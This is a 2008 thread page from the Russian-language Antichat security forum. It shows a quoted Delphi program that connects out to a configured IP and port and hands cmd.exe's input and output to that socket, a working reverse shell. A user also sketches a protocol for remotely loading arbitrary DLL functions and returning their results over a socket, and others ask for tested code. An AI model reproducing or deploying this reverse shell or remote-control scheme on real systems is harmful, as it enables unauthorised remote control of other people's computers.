ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование_OLD > С/С++, C#, Delphi, .NET, Asm
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 03.10.2008, 02:13
life_is_shit
Постоянный
Регистрация: 21.08.2007
Сообщений: 367
Провел на форуме:
3578960

Репутация: 468
Отправить сообщение для life_is_shit с помощью ICQ
По умолчанию

Извини, в сабже не силен (сам знаешь=)), но тема интересна.

2all если таковые есть, выложите плиз, не хечется юзать не проверенное.
 

  #12  
Старый 03.10.2008, 11:53
De-visible
Banned
Регистрация: 06.01.2008
Сообщений: 904
Провел на форуме:
4037638

Репутация: 1821


Отправить сообщение для De-visible с помощью ICQ
По умолчанию

Цитата:
Сообщение от slesh  
Для простой демонстрации вот наспех написанный код
Код:
var
 StartupInfo:_STARTUPINFOA;
 ProcessInformation:_PROCESS_INFORMATION;
 addr:tsockaddrin;
 sock:thandle;
 wsdata:TWSADATA;
const
 shell_port=12345;
 shell_ip='127.0.0.1';
begin
 WSAStartup($202,wsdata);
 sock:=WSASocketA(2,1,6,nil,0,0);
 if sock=INVALID_SOCKET then exit;
 addr.sin_family:=AF_INET;
 addr.sin_addr.s_addr:=0;
 addr.sin_port:=htons(shell_port);
 addr.sin_addr.s_addr := inet_addr(shell_ip);
 if Connect(sock, @addr, SizeOf(addr))<>0 then
  begin
   closesocket(sock);
   exit;
  end;
 fillchar(StartupInfo,sizeof(StartupInfo),0);
 StartupInfo.cb:=sizeof(StartupInfo);
 StartupInfo.dwFlags:=$100;
 StartupInfo.hStdInput:=sock;
 StartupInfo.hStdOutput:=sock;
 StartupInfo.hStdError:=sock;
 CreateProcessA(nil,'cmd.exe',nil,nil,true,$8000040,nil,nil,StartupInfo,ProcessInformation);
end;
Это просто пример для Shell
А так я задумывался както над довольно интерестной вешью в плане сетевого програмимрования. Но времяни небыло для реализации. Суть её такова:
Структура команды следующая
Имя библиотеки + имя функции + параметры + что передать обратно в сокет.
И идет это примерно так
1) Читаешь команду из сокета
2) грузишь бебиблиотеку
3) грузишь функцию из неё
4) выполняешь эту функцию с заданными параметрами
5) результат выполнения передается обратно в зависимости от параметров которые были указаны в запросе. Или коды ошибок

Теоретически таким образом можно делать практически всё что угодно.
К примеру нужно вывести на экран сообщение
для этого будет типа
len_lib + user32.dll + len_name + MessageBoxA + param_type+[param_len]+param итд ... + 0
типа
0 - результат выполнения функции
1 ... n - переданный параметр
При том что организация переменных - тоже проста. а заранее указанные типы данных тоже расширяют всё.
В этоге теоретически можно мное что делать удаленно.
P.S. Но это тока пока моя теория.
slesh ))) +++
 

  #13  
Старый 03.10.2008, 13:23
0verbreaK
Постоянный
Регистрация: 30.04.2008
Сообщений: 323
Провел на форуме:
379101

Репутация: 136
По умолчанию

slesh а только щас дошло, я его представил в виде обычного шелла, тему не читал.
 
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ